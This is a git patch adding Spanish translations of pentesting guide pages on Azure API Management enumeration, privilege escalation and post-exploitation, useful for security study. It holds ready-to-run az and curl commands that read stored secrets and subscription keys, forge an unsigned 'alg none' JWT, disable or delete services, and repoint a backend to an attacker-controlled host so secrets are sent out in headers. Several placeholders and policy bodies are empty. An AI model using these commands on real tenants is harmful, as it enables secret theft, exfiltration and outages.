From 853473797d7794c1620c88ffa21817b45f4ddf67 Mon Sep 17 00:00:00 2001 From: Translator Date: Tue, 23 Dec 2025 16:35:28 +0000 Subject: [PATCH] Translated ['src/pentesting-cloud/azure-security/az-post-exploitation/az --- .../az-api-management-post-exploitation.md | 75 ++++++++ .../az-api-management-privesc.md | 170 ++++++++++++++++++ .../az-services/az-api-management.md | 76 ++++++++ 3 files changed, 321 insertions(+) create mode 100644 src/pentesting-cloud/azure-security/az-post-exploitation/az-api-management-post-exploitation.md create mode 100644 src/pentesting-cloud/azure-security/az-privilege-escalation/az-api-management-privesc.md create mode 100644 src/pentesting-cloud/azure-security/az-services/az-api-management.md diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-api-management-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-api-management-post-exploitation.md new file mode 100644 index 000000000..f89f1f11f --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-api-management-post-exploitation.md @@ -0,0 +1,75 @@ +# Azure - API Management Post-Exploitation + +{{#include ../../../banners/hacktricks-training.md}} + +## `Microsoft.ApiManagement/service/apis/policies/write` or `Microsoft.ApiManagement/service/policies/write` +El atacante puede usar múltiples vectores para provocar un denial of service. Para bloquear el tráfico legítimo, el atacante añade políticas de rate-limiting y de cuota con valores extremadamente bajos, impidiendo efectivamente el acceso normal: +```bash +az rest --method PUT \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//apis//policies/policy?api-version=2024-05-01" \ +--headers "Content-Type=application/json" \ +--body '{ +"properties": { +"format": "rawxml", +"value": "" +} +}' +``` +Para bloquear direcciones IP legítimas de clientes específicas, el atacante puede añadir políticas de filtrado de IP que rechacen solicitudes procedentes de direcciones seleccionadas: +```bash +az rest --method PUT \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//apis//policies/policy?api-version=2024-05-01" \ +--headers "Content-Type=application/json" \ +--body '{ +"properties": { +"format": "rawxml", +"value": "
1.2.3.4
1.2.3.5
" +} +}' +``` +## `Microsoft.ApiManagement/service/backends/write` or `Microsoft.ApiManagement/service/backends/delete` +Para provocar que las solicitudes fallen, el atacante puede modificar la configuración del backend y cambiar su URL a una dirección inválida o inaccesible: +```bash +az rest --method PUT \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//backends/?api-version=2024-05-01" \ +--headers "Content-Type=application/json" "If-Match=*" \ +--body '{ +"properties": { +"url": "https://invalid-backend-that-does-not-exist.com", +"protocol": "http" +} +}' +``` +O eliminar backends: +```bash +az rest --method DELETE \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//backends/?api-version=2024-05-01" \ +--headers "If-Match=*" +``` +## `Microsoft.ApiManagement/service/apis/delete` +Para dejar APIs críticas inaccesibles, el atacante puede eliminarlas directamente desde el servicio API Management: +```bash +az rest --method DELETE \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//apis/?api-version=2024-05-01" \ +--headers "If-Match=*" +``` +## `Microsoft.ApiManagement/service/write` or `Microsoft.ApiManagement/service/applynetworkconfigurationupdates/action` +Para bloquear el acceso desde Internet, el atacante puede deshabilitar el acceso público a la red en el servicio API Management: +```bash +az rest --method PATCH \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service/?api-version=2024-05-01" \ +--headers "Content-Type=application/json" \ +--body '{ +"properties": { +"publicNetworkAccess": "Disabled" +} +}' +``` +## `Microsoft.ApiManagement/service/subscriptions/delete` +Para bloquear el acceso de usuarios legítimos, el atacante puede eliminar subscriptions de API Management: +```bash +az rest --method DELETE \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//subscriptions/?api-version=2024-05-01" \ +--headers "If-Match=*" +``` +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-api-management-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-api-management-privesc.md new file mode 100644 index 000000000..b20411bb8 --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-api-management-privesc.md @@ -0,0 +1,170 @@ +# Az - API Management Privesc + +{{#include ../../../banners/hacktricks-training.md}} + +## `Microsoft.ApiManagement/service/namedValues/read` & `Microsoft.ApiManagement/service/namedValues/listValue/action` + +El ataque consiste en acceder a secretos sensibles almacenados en Azure API Management Named Values, ya sea recuperando directamente los valores secretos o abusando de permisos para obtener secretos respaldados por Key Vault mediante managed identities. +```bash +az apim nv show-secret --resource-group --service-name --named-value-id +``` +## `Microsoft.ApiManagement/service/subscriptions/read` & `Microsoft.ApiManagement/service/subscriptions/listSecrets/action` +Para cada suscripción, el atacante puede obtener las claves de la suscripción usando el endpoint listSecrets con el método POST: +```bash +az rest --method POST \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//subscriptions//listSecrets?api-version=2024-05-01" +``` +La respuesta incluye la clave primaria de suscripción (primaryKey) y la clave secundaria (secondaryKey). Con estas claves, el atacante puede autenticarse y acceder a las APIs publicadas a través del API Management Gateway: +```bash +curl -H "Ocp-Apim-Subscription-Key: " \ +https://.azure-api.net/ +``` +El atacante puede acceder a todas las APIs y productos asociados con la suscripción. Si la suscripción tiene acceso a productos o APIs sensibles, el atacante puede obtener información confidencial o realizar operaciones no autorizadas. + +## `Microsoft.ApiManagement/service/policies/write` or `Microsoft.ApiManagement/service/apis/policies/write` + +El atacante primero recupera la política actual de la API: +```bash +az rest --method GET \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//apis//policies/?api-version=2024-05-01&format=rawxml" +``` +El atacante puede modificar la política de múltiples maneras según sus objetivos. Por ejemplo, para desactivar la autenticación, si la política incluye validación de tokens JWT, el atacante puede eliminar o comentar esa sección: +```xml + + + + + + + + + + + + + + + + +``` +Para eliminar los controles de rate limiting y permitir ataques de denial-of-service, el atacante puede eliminar o comentar las políticas de quota y rate-limit: +```xml + + + + + + +... + +``` +Para modificar la ruta del backend y redirigir el tráfico a un servidor controlado por el atacante: +```xml + +... + + + + +... + +``` +El atacante aplica entonces la política modificada. El cuerpo de la petición debe ser un objeto JSON que contenga la política en formato XML: +```bash +az rest --method PUT \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//apis//policies/policy?api-version=2024-05-01" \ +--headers "Content-Type=application/json" \ +--body '{ +"properties": { +"format": "rawxml", +"value": "" +} +}' +``` +## Misconfiguración de validación de JWT + +El atacante necesita saber que una API usa validación de tokens JWT y que la policy está mal configurada. Las policies de validación de JWT mal configuradas pueden tener `require-signed-tokens="false"` o `require-expiration-time="false"`, lo que permite que el servicio acepte tokens sin firmar o tokens que nunca expiran. + +El atacante crea un token JWT malicioso usando el algoritmo none (sin firmar): +``` +# Header: {"alg":"none"} +# Payload: {"sub":"user"} +eyJhbGciOiJub25lIn0.eyJzdWIiOiJ1c2VyIn0. +``` +El atacante envía una solicitud a la API usando el token malicioso: +```bash +curl -X GET \ +-H "Authorization: Bearer eyJhbGciOiJub25lIn0.eyJzdWIiOiJ1c2VyIn0." \ +https://.azure-api.net/path +``` +Si la política está mal configurada con `require-signed-tokens="false"`, el servicio aceptará el token no firmado. El atacante también puede crear un token sin un expiration claim si `require-expiration-time="false"`. + +## `Microsoft.ApiManagement/service/applynetworkconfigurationupdates/action` +El atacante primero verifica la configuración de red actual del servicio: +```bash +az rest --method GET \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service/?api-version=2024-05-01" +``` +El atacante revisa la respuesta JSON para verificar los valores de `publicNetworkAccess` y `virtualNetworkType`. Si `publicNetworkAccess` está establecido en false o `virtualNetworkType` está establecido en Internal, el servicio está configurado para acceso privado. + +Para exponer el servicio a Internet, el atacante debe cambiar ambos ajustes. Si el servicio se está ejecutando en modo interno (`virtualNetworkType: "Internal"`), el atacante lo cambia a None o External y habilita el acceso de red público. Esto se puede hacer usando la Azure Management API: +```bash +az rest --method PATCH \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service/?api-version=2024-05-01" \ +--headers "Content-Type=application/json" \ +--body '{ +"properties": { +"publicNetworkAccess": "Enabled", +"virtualNetworkType": "None" +} +}' +``` +Una vez que `virtualNetworkType` se establece en `None` o `External` y `publicNetworkAccess` está habilitado, el servicio y todas sus APIs se vuelven accesibles desde Internet, incluso si anteriormente estaban protegidos detrás de una red privada o endpoints privados. + +## `Microsoft.ApiManagement/service/backends/write` +El atacante primero enumera los backends existentes para identificar cuál modificar: +```bash +az rest --method GET \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//backends?api-version=2024-05-01" +``` +El atacante obtiene la configuración actual del backend que quiere modificar: +```bash +az rest --method GET \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//backends/?api-version=2024-05-01" +``` +El atacante modifica la URL del backend para que apunte a un servidor bajo su control. Primero, obtienen el ETag de la respuesta anterior y luego actualizan el backend: +```bash +az rest --method PUT \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//backends/?api-version=2024-05-01" \ +--headers "Content-Type=application/json" "If-Match=*" \ +--body '{ +"properties": { +"url": "https://attacker-controlled-server.com", +"protocol": "http", +"description": "Backend modified by attacker" +} +}' +``` +Alternativamente, el atacante puede configurar cabeceras de backend para exfiltrar Named Values que contengan secretos. Esto se hace a través de la configuración de credenciales de backend: +```bash +az rest --method PUT \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//backends/?api-version=2024-05-01" \ +--headers "Content-Type=application/json" "If-Match=*" \ +--body '{ +"properties": { +"url": "https://attacker-controlled-server.com", +"protocol": "http", +"credentials": { +"header": { +"X-Secret-Value": ["{{named-value-secret}}"] +} +} +} +}' +``` +Con esta configuración, Named Values se envían como encabezados en todas las solicitudes al backend controlado por el atacante, lo que permite la exfiltración de secretos sensibles. + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-services/az-api-management.md b/src/pentesting-cloud/azure-security/az-services/az-api-management.md new file mode 100644 index 000000000..f382ce37e --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-services/az-api-management.md @@ -0,0 +1,76 @@ +# Az - API Management + +{{#include ../../../banners/hacktricks-training.md}} + +## Información básica + +Azure API Management (APIM) es un servicio totalmente gestionado que ofrece una **plataforma unificada para publicar, asegurar, transformar, gestionar y monitorizar APIs**. Permite a las organizaciones **centralizar su estrategia de API** y asegurar una gobernanza, rendimiento y seguridad consistentes en todos sus servicios. Al actuar como una capa de abstracción entre los servicios backend y los consumidores de APIs, APIM simplifica la integración y mejora la mantenibilidad mientras proporciona capacidades operativas y de seguridad esenciales. + +## Conceptos clave + +**El API Gateway** sirve como el punto de entrada único para todo el tráfico de API, manejando funciones como enrutar solicitudes a los servicios backend, aplicar límites de velocidad, almacenar en caché respuestas y gestionar autenticación y autorización. Este gateway está totalmente alojado y gestionado por Azure, garantizando alta disponibilidad y escalabilidad. + +**El Developer Portal** proporciona un entorno de autoservicio donde los consumidores de APIs pueden descubrir las APIs disponibles, leer la documentación y probar endpoints. Ayuda a agilizar el onboarding ofreciendo herramientas interactivas y acceso a la información de suscripciones. + +**El Management Portal (Management Plane)** es utilizado por los administradores para configurar y mantener el servicio APIM. Desde aquí, los usuarios pueden definir APIs y operaciones, configurar control de acceso, aplicar políticas, gestionar usuarios y organizar APIs en products. Este portal centraliza la administración y asegura una gobernanza de API consistente. + + +## Autenticación y autorización + +Azure API Management soporta varios **mecanismos de autenticación** para asegurar el acceso a las APIs. Estos incluyen **claves de suscripción**, **tokens OAuth 2.0** y **certificados de cliente**. APIM también se integra de forma nativa con **Microsoft Entra ID**, habilitando **gestión de identidad a nivel empresarial** y **acceso seguro** tanto a las APIs como a los servicios backend. + +## Políticas + +Las políticas en APIM permiten a los administradores personalizar el **procesamiento de solicitudes y respuestas** en varias granularidades, incluyendo el nivel de **servicio**, **API**, **operación** o **product**. A través de políticas, es posible aplicar **validación de tokens JWT**, **transformar payloads XML o JSON**, **aplicar limitación de tasa**, **restringir llamadas por dirección IP** o **autenticar contra servicios backend usando managed identities**. Las políticas son **altamente flexibles** y forman una de las **fortalezas principales** de la plataforma API Management, permitiendo **control fino sobre el comportamiento en tiempo de ejecución** sin modificar el código backend. + +## Valores con nombre + +El servicio proporciona un mecanismo llamado **Valores con nombre**, que permite almacenar **información de configuración** como **secretos**, **API keys**, u otros valores requeridos por las políticas. + +Estos valores pueden almacenarse directamente dentro de APIM o referenciarse de forma segura desde **Azure Key Vault**. Los Valores con nombre fomentan una **gestión segura y centralizada** de los datos de configuración y simplifican la creación de políticas al permitir **referencias reutilizables** en lugar de valores hardcodeados. + +## Integración de red y seguridad + +Azure API Management se integra sin problemas con entornos de **Virtual Network (VNet)**, permitiendo **conectividad privada y segura** a sistemas backend. + +Cuando se despliega dentro de una **Virtual Network (VNet)**, APIM puede acceder a **servicios internos** sin exponerlos públicamente. El servicio también permite la configuración de **certificados personalizados** para soportar **autenticación TLS mutua** con servicios backend, mejorando la seguridad en escenarios donde se requiere una **validación de identidad sólida**. + +Estas **características de red** hacen que APIM sea adecuado tanto para arquitecturas **nativas de la nube** como **híbridas**. + + +### Enumerar + +Para enumerar el servicio de API Management: +```bash +# Lists all Named Values configured in the Azure API Management instance +az apim nv list --resource-group --service-name + +# Retrieves all policies applied at the API level in raw XML format +az rest --method GET \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//apis//policies/?api-version=2024-05-01&format=rawxml" + +# Retrieves the effective policy for a specific API in raw XML format +az rest --method GET \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//apis//policies/policy?api-version=2024-05-01&format=rawxml" + +# Gets the configuration details of the APIM service instance +az rest --method GET \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service/?api-version=2024-05-01" + +# Lists all backend services registered in the APIM instance +az rest --method GET \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//backends?api-version=2024-05-01" + +# Retrieves details of a specific backend service +az rest --method GET \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//backends/?api-version=2024-05-01" + +# Gets general information about the APIM service +az rest --method GET \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service/?api-version=2024-05-01" + +# Calls an exposed API endpoint through the APIM gateway +curl https://.azure-api.net/ + +``` +{{#include ../../../banners/hacktricks-training.md}}